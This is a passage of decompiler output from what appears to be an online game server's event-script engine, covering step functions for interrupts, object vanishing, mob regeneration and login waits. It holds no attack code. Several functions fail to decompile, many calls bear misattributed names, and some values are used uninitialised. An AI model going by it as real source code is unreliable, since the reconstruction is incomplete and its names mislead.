&Flagindex, exp, num) ) { MoveManager::MoveManager((DiceTaiSai *)&flag); AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::ShineInterruptSet::sa_Step : Invalid flag", v23); } } } } } } } } } } } } } } } } goto LABEL_62; } v27 = 77; } Movie::Theater::t_SetInterruptTimeInterval( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num, v27); } } } } LABEL_62: LOBYTE(v40) = 3; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); v12 = PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v40) = 2; _eh_vector_destructor_iterator_( exp, 0x100u, 3, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); goto LABEL_63; } v26 = 0; v25 = "PineEventScriptNode::ShineInterruptSet::sa_Step : No Index"; LABEL_5: AssertClass::ac_AssertFail(&shineassert, v25, v26); v12 = PineScriptStack::ProcessStack::ps_Pop(ps); LABEL_63: LOBYTE(v40) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LOBYTE(v40) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&flag); --funcallanalizer.fca_stackpoint; v40 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptSet::sa_Step"); return v12; } //----- (004D1FF0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptErase::sa_Step(PineEventScriptNode::ShineInterruptErase *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineInterruptErase *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v9; // eax@1 int v10; // eax@1 const char *v11; // eax@3 unsigned __int16 result; // ax@4 int v13; // [sp+Ch] [bp-128h]@1 FunctionEntarance _; // [sp+10h] [bp-124h]@1 char index[4]; // [sp+14h] [bp-120h]@3 int v16; // [sp+18h] [bp-11Ch]@3 int v17; // [sp+1Ch] [bp-118h]@3 int v18; // [sp+20h] [bp-114h]@3 PineScriptToken intindex; // [sp+24h] [bp-110h]@1 unsigned int v20; // [sp+124h] [bp-10h]@1 int v21; // [sp+130h] [bp-4h]@1 v4 = this; v20 = (unsigned int)&v13 ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineInterruptErase::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptErase::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineInterruptErase::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineInterruptErase"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &trc_eol); PineScriptToken::pst_Clear(&intindex); v9 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v21) = 1; v10 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v9->sa_Calculate)(&intindex, ps); v13 = v10 != 0; if ( v10 != 0 ) { MoveManager::MoveManager((DiceTaiSai *)&intindex); v18 = 0; v17 = 0; v16 = 0; *(_DWORD *)index = 0; strncpy(index, v11, 0x10u); ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase( (ScriptInterrupt::ScriptInterruptManager *)(*(_DWORD *)&ps->gap10114[4] + 66124), (Name4 *)index); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineInterruptErase::sa_Step", 0); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v21) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&intindex); --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptErase::sa_Step"); __security_check_cookie((unsigned int)&v13 ^ v20); return result; } //----- (004D2190) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineWaitInterrupt::sa_Step(PineEventScriptNode::ShineWaitInterrupt *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineWaitInterrupt *v4; // ebp@1 bool v5; // zf@1 MobTacticElement::MobActionBase *v6; // eax@2 MobTacticElement::MobActionBase *v7; // eax@2 MobTacticElement::MobActionBase *v8; // eax@2 MobTacticElement::MobActionBase *v9; // eax@2 PineScriptToken *v10; // edi@2 PineEventScriptNode::ScriptAtomVtbl *v11; // eax@2 PineScriptToken *v12; // eax@2 PineScriptToken *v13; // eax@2 unsigned __int16 result; // ax@5 FunctionEntarance _; // [sp+Ch] [bp-114h]@1 PineScriptToken tmp; // [sp+10h] [bp-110h]@2 unsigned int v17; // [sp+110h] [bp-10h]@1 int v18; // [sp+11Ch] [bp-4h]@1 v4 = this; v17 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineWaitInterrupt::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineWaitInterrupt::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineWaitInterrupt::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *ip == 0; v18 = 0; if ( v5 ) { v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v7 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v6, (MobTacticElement::MobActionArgument *)exechandle); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &unk_63D200); v9 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, "ShineWaitInterrupt"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &trc_eol); ++*ip; v10 = PineEventScriptNode::Identify::i_GetVariable(&v4->baseclass_0.os_Ident, ps); PineScriptToken::pst_Clear(&tmp); v11 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v18) = 1; v12 = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v11->sa_Calculate)( &tmp, ps); v13 = PineScriptStack::ProcessStack::ps_FindVariable(ps, v12); *(_DWORD *)&ps->gap10114[16] = v10; *(_DWORD *)&ps->gap10114[20] = v13; LOBYTE(v18) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tmp); } if ( ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast( (ScriptInterrupt::ScriptInterruptManager *)(*(_DWORD *)&ps->gap10114[4] + 66124), *(PineScriptToken **)&ps->gap10114[16], *(PineScriptToken **)&ps->gap10114[20], (Movie::TimeLimit *)(*(_DWORD *)&ps->gap10114[4] + 66108), *(#593 **)(*(_DWORD *)&ps->gap10114[4] + 77292), *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77288) + 60)) ) PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineWaitInterrupt::sa_Step"); __security_check_cookie((unsigned int)&_ ^ v17); return result; } //----- (004D2350) -------------------------------------------------------- #error "4D2350: undefined or illegal type '#593' (funcsize=206)" //----- (004D2650) -------------------------------------------------------- #error "4D2650: undefined or illegal type '#593' (funcsize=102)" //----- (004D27B0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineChange2Door::sa_Step(PineEventScriptNode::ShineChange2Door *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::OtherStatement *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 #593 *v8; // eax@1 PineScriptStack::ProcessStack *v9; // ecx@2 unsigned __int16 v10; // ax@6 unsigned __int16 v11; // si@6 unsigned __int16 mobhnd; // [sp+10h] [bp-14h]@1 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v15; // [sp+20h] [bp-4h]@1 v4 = (PineEventScriptNode::OtherStatement *)this; _.fe_FunctionCode = "PineEventScriptNode::ShineChange2Door::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineChange2Door::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineChange2Door::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineChange2Door : "); v8 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 7u); if ( v8 ) { if ( !PineEventScriptNode::OtherStatement::os_ObjectChange(v4, exechandle, ps, ip, v8, mobhnd) ) ShineObjectManager::som_FreeObject(&shineobjmanager, mobhnd, 0, 26); v9 = ps; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate : Too many mob", 0); v9 = ps; } v10 = PineScriptStack::ProcessStack::ps_Pop(v9); --funcallanalizer.fca_stackpoint; v15 = -1; v11 = v10; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineChange2Door::sa_Step"); return v11; } //----- (004D28E0) -------------------------------------------------------- #error "4D28E0: undefined or illegal type '#593' (funcsize=135)" //----- (004D2AC0) -------------------------------------------------------- #error "4D2AC0: undefined or illegal type '#593' (funcsize=222)" //----- (004D2DD0) -------------------------------------------------------- #error "4D2DD0: undefined or illegal type '#593' (funcsize=115)" //----- (004D2F90) -------------------------------------------------------- #error "4D2F90: undefined or illegal type '#593' (funcsize=115)" //----- (004D3150) -------------------------------------------------------- #error "4D3150: undefined or illegal type '#593' (funcsize=28)" //----- (004D31F0) -------------------------------------------------------- #error "4D31F0: undefined or illegal type '#593' (funcsize=52)" //----- (004D32D0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineObjectVanish::sa_Step(PineEventScriptNode::ShineObjectVanish *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineObjectVanish *v4; // ebx@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineEventScriptNode::Express *v9; // eax@1 MobTacticElement::MobActionBase *v10; // eax@3 int (__stdcall **v11)(int, #593 *, int); // edi@5 void *v12; // ecx@5 const char *v13; // eax@10 unsigned int v14; // eax@10 signed __int16 v15; // si@10 const char *v16; // eax@12 Movie::Theater *v17; // ecx@13 #593 *v18; // esi@15 #593 *v19; // eax@18 const char *v20; // eax@20 unsigned __int16 v21; // ax@22 unsigned __int16 v22; // si@22 const char *v24; // [sp-8h] [bp-440h]@16 const char *v25; // [sp-4h] [bp-43Ch]@16 int (__stdcall **almv)(int, #593 *, int); // [sp+10h] [bp-428h]@5 __int16 v27; // [sp+14h] [bp-424h]@5 PineScriptStack::ProcessStack *v28; // [sp+18h] [bp-420h]@1 FunctionEntarance _; // [sp+1Ch] [bp-41Ch]@1 PineScriptToken arg0; // [sp+20h] [bp-418h]@1 PineScriptToken indexToken; // [sp+120h] [bp-318h]@4 PineScriptToken thisa; // [sp+220h] [bp-218h]@4 PineScriptToken tkn; // [sp+320h] [bp-118h]@1 unsigned int v34; // [sp+424h] [bp-14h]@1 int v35; // [sp+434h] [bp-4h]@1 int v36; // [sp+438h] [bp+0h]@1 v4 = this; v34 = (unsigned int)&v36 ^ __security_cookie; v28 = ps; _.fe_FunctionCode = "PineEventScriptNode::ShineObjectVanish::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineObjectVanish::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineObjectVanish::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v35 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineVanish"); PineScriptToken::pst_Clear(&tkn); LOBYTE(v35) = 1; PineScriptToken::pst_Clear(&arg0); LOBYTE(v35) = 2; PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_63450C); MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v8, (MobTacticElement::MobActionArgument *)&tkn); v9 = v4->baseclass_0.os_Express[0]; if ( v9 && ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v9->baseclass_0.vfptr->sa_Calculate)( &arg0, ps) ) { v10 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_63450C); MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v10, (MobTacticElement::MobActionArgument *)&arg0); } MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &trc_eol); memcpy(&indexToken, &tkn, sizeof(indexToken)); LOBYTE(v35) = 3; PineScriptToken::pst_ToLower(&indexToken); memcpy(&thisa, &indexToken, sizeof(thisa)); LOBYTE(v35) = 4; if ( PineScriptToken::operator__(&thisa, index_all.pst_Buffer) ) { AxialListIterator::AxialListIterator((AxialListIterator *)&almv); v11 = &AxialListMobVanish::_vftable_; almv = &AxialListMobVanish::_vftable_; v27 = -1; v12 = *(void **)(*(_DWORD *)&v28->gap10114[4] + 77292); LOBYTE(v35) = 5; if ( v12 ) ShineObjectClass::ShineObject::so_AllInMap(v12, (int)&almv, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); goto LABEL_8; } if ( !PineScriptToken::operator__(&thisa, index_mobindex.pst_Buffer) ) { if ( !PineScriptToken::operator__(&thisa, index_handle.pst_Buffer) ) { v19 = PineEventScriptNode::OtherStatement::os_ShineObject(&v4->baseclass_0, v28); if ( v19 ) { AxialListMobVanish::almv_Vanish(v19); goto LABEL_22; } MoveManager::MoveManager((DiceTaiSai *)&indexToken); v25 = v20; v24 = "PineEventScriptNode::ShineObjectVanish::sa_Step : Invalid mob Object Token"; LABEL_21: AssertClass::ac_AssertFail(&shineassert, v24, v25); goto LABEL_22; } LOWORD(v16) = PineScriptToken::pst_GetNumber(&arg0, 0); v18 = ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int16)v16); MoveManager::MoveManager((DiceTaiSai *)&arg0); if ( v18 ) { AxialListMobVanish::almv_Vanish(v18); goto LABEL_22; } LABEL_16: v25 = v16; v24 = "PineEventScriptNode::ShineObjectVanish::sa_Step : Invalid mob id"; goto LABEL_21; } MoveManager::MoveManager((DiceTaiSai *)&arg0); v14 = BTree::operator__(&mobdatabox.mdb_btree, v13); v15 = -1; if ( v14 != -1 ) v15 = v14; MoveManager::MoveManager((DiceTaiSai *)&arg0); if ( v15 == -1 ) goto LABEL_16; AxialListIterator::AxialListIterator((AxialListIterator *)&almv); v11 = &AxialListMobVanish::_vftable_; almv = &AxialListMobVanish::_vftable_; v27 = v15; v17 = *(Movie::Theater **)&v28->gap10114[4]; LOBYTE(v35) = 6; Movie::Theater::t_AllInMap(v17, (AxialListIterator *)&almv); LABEL_8: LOBYTE(v35) = 4; almv = v11; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almv); LABEL_22: LOBYTE(v35) = 3; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); v21 = PineScriptStack::ProcessStack::ps_Pop(v28); LOBYTE(v35) = 2; v22 = v21; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&indexToken); LOBYTE(v35) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg0); LOBYTE(v35) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineObjectVanish::sa_Step"); return v22; } // 652E90: using guessed type int (__stdcall *AxialListMobVanish___vftable_)(int, #593 *obj, int distancesquar); //----- (004D36A0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineRegenGroup::sa_Step(PineEventScriptNode::ShineRegenGroup *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineRegenGroup *v4; // ebp@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 int v9; // eax@1 int v10; // eax@3 Movie::Theater *v11; // ecx@5 Name3 *v12; // eax@5 MobTacticElement::MobActionBase *v13; // eax@8 MobTacticElement::MobActionBase *v14; // eax@8 MobTacticElement::MobActionBase *v15; // eax@8 const char *v16; // eax@8 const char *v17; // ST0C_4@8 const char *v18; // eax@8 PineScriptMobRegenerator::RegenStruct *v19; // edi@8 int v20; // ecx@10 PineEventScriptNode::Express *v21; // eax@10 PineEventScriptNode::Express *v22; // eax@12 int v23; // ecx@15 unsigned __int16 result; // ax@17 const char *v25; // [sp+8h] [bp-454h]@2 int v26; // [sp+Ch] [bp-450h]@2 int origY; // [sp+20h] [bp-43Ch]@1 unsigned int origX; // [sp+24h] [bp-438h]@10 FunctionEntarance _; // [sp+28h] [bp-434h]@1 int map; // [sp+2Ch] [bp-430h]@5 int v31; // [sp+30h] [bp-42Ch]@5 int v32; // [sp+34h] [bp-428h]@5 ORToken aitype; // [sp+38h] [bp-424h]@15 PineScriptToken mapid; // [sp+4Ch] [bp-410h]@1 PineScriptToken index; // [sp+14Ch] [bp-310h]@1 PineScriptToken y; // [sp+24Ch] [bp-210h]@1 PineScriptToken x; // [sp+34Ch] [bp-110h]@1 unsigned int v38; // [sp+44Ch] [bp-10h]@1 int v39; // [sp+458h] [bp-4h]@1 v4 = this; v38 = (unsigned int)&origY ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineRegenGroup::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineRegenGroup::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineRegenGroup::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v39 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineRegenGroup : "); PineScriptToken::pst_Clear(&mapid); LOBYTE(v39) = 1; PineScriptToken::pst_Clear(&index); LOBYTE(v39) = 2; PineScriptToken::pst_Clear(&x); LOBYTE(v39) = 3; PineScriptToken::pst_Clear(&y); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v39) = 4; v9 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&mapid, ps); origY = v9 != 0; if ( v9 == 0 ) { v26 = 0; v25 = "PineEventScriptNode::ShineRegenGroup::sa_Step : no map"; LABEL_7: AssertClass::ac_AssertFail(&shineassert, v25, v26); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v39) = 3; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&y); LOBYTE(v39) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&x); LOBYTE(v39) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index); LOBYTE(v39) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mapid); v39 = -1; goto LABEL_17; } v10 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &index, ps); origY = v10 != 0; if ( v10 == 0 ) { v26 = 0; v25 = "PineEventScriptNode::ShineRegenGroup::sa_Step : no index"; goto LABEL_7; } v11 = *(Movie::Theater **)&ps->gap10114[4]; v32 = 0; v31 = 0; map = 0; v12 = Movie::Theater::t_MapNameServer(v11, (Name3 *)&map); origY = v12 != 0; if ( v12 == 0 ) { v26 = 0; v25 = "PineEventScriptNode::ShineRegenGroup::sa_Step : Not map name"; goto LABEL_7; } v13 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&mapid); v14 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v13, &stru_63C688); v15 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v14, (MobTacticElement::MobActionArgument *)&index); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v15, &trc_eol); MoveManager::MoveManager((DiceTaiSai *)&index); v17 = v16; MoveManager::MoveManager((DiceTaiSai *)&mapid); v19 = PineScriptMobRegenerator::psmr_find(&scriptmobregen, v18, v17); if ( v19 != 0 ) { v20 = v19->rs_group.rgs_regreg.rgs_CenterY; origX = v19->rs_group.rgs_regreg.rgs_CenterX; v21 = v4->baseclass_0.os_Express[2]; origY = v20; if ( v21 ) { if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v21->baseclass_0.vfptr->sa_Calculate)( &x, ps) ) { v22 = v4->baseclass_0.os_Express[3]; if ( v22 ) { if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v22->baseclass_0.vfptr->sa_Calculate)( &y, ps) ) { v19->rs_group.rgs_regreg.rgs_CenterX = PineScriptToken::pst_GetNumber(&x, 0); v19->rs_group.rgs_regreg.rgs_CenterY = PineScriptToken::pst_GetNumber(&y, 0); } } } } ORToken::ORToken( &aitype, (const char *)&stru_63450C.maa_TargetSelect.targetlist.mam_Array[8].mts_EnemyAnalyzer.baseclass_0.io_Pointer); MobHatchery::mh_ScriptBreed(mobhatchery, (Name3 *)&map, v19, &aitype); v23 = origY; v19->rs_group.rgs_regreg.rgs_CenterX = origX; v19->rs_group.rgs_regreg.rgs_CenterY = v23; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineMobRegen::sa_Step : No regen index", 0); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v39) = 3; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&y); LOBYTE(v39) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&x); LOBYTE(v39) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index); LOBYTE(v39) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mapid); v39 = -1; LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineRegenGroup::sa_Step"); __security_check_cookie((unsigned int)&origY ^ v38); return result; } //----- (004D3A30) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineWaitUserLogin::sa_Step(PineEventScriptNode::ShineWaitUserLogin *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineWaitUserLogin *v4; // ebp@1 bool v5; // zf@1 MobTacticElement::MobActionBase *v6; // eax@2 MobTacticElement::MobActionBase *v7; // eax@2 MobTacticElement::MobActionBase *v8; // eax@2 MobTacticElement::MobActionBase *v9; // eax@2 PineScriptToken *v10; // edi@3 unsigned __int16 v11; // si@4 void *v12; // ecx@5 PineScriptToken *v14; // eax@13 unsigned __int16 v15; // ax@13 int v16; // [sp-4h] [bp-3Ch]@9 int almc; // [sp+14h] [bp-24h]@5 __int16 v18; // [sp+18h] [bp-20h]@5 int v19; // [sp+1Ch] [bp-1Ch]@5 int v20; // [sp+20h] [bp-18h]@5 int v21; // [sp+24h] [bp-14h]@5 char (__thiscall *v22)(AxialListMobCounter *, #593 *, #593 *); // [sp+28h] [bp-10h]@5 int v23; // [sp+34h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineWaitUserLogin::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineWaitUserLogin::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *ip == 0; v23 = 0; if ( v5 ) { v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v7 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v6, (MobTacticElement::MobActionArgument *)exechandle); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &unk_63D200); v9 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, "ShineWaitUserLogin"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &trc_eol); ++*ip; ps->ps_Shine.node = (PineEventScriptNode::ScriptAtom *)(clockwatch.cw_CurrTick + 2400); } v10 = PineEventScriptNode::Identify::i_GetVariable(&v4->baseclass_0.os_Ident, ps); if ( v10 != 0 ) { AxialListIterator::AxialListIterator((AxialListIterator *)&almc); almc = (int)AxialListMobCounter::_vftable_; v18 = -1; v19 = 0; v20 = 0; v21 = 1; v22 = AxialListMobCounter::ala_SearchPly; v12 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v23) = 1; if ( v12 != 0 ) ShineObjectClass::ShineObject::so_AllInMap(v12, (int)&almc, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); if ( v20 <= 0 ) { if ( ps->ps_Shine.node >= (PineEventScriptNode::ScriptAtom *)clockwatch.cw_CurrTick ) { LOBYTE(v23) = 0; almc = (int)AxialListMobCounter::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almc); --funcallanalizer.fca_stackpoint; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineWaitUserLogin::sa_Step"); return 1; } v16 = 0; } else { v16 = 1; } v14 = PineScriptToken::pst_Clear(v10); PineScriptToken::pst_MergeNumber(v14, v16); v15 = PineScriptStack::ProcessStack::ps_Pop(ps); almc = (int)AxialListMobCounter::_vftable_; LOBYTE(v23) = 0; v11 = v15; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almc); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineWaitUserLogin::sa_Step", 0); v11 = PineScriptStack::ProcessStack::ps_Pop(ps); } --funcallanalizer.fca_stackpoint; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineWaitUserLogin::sa_Step"); return v11; } 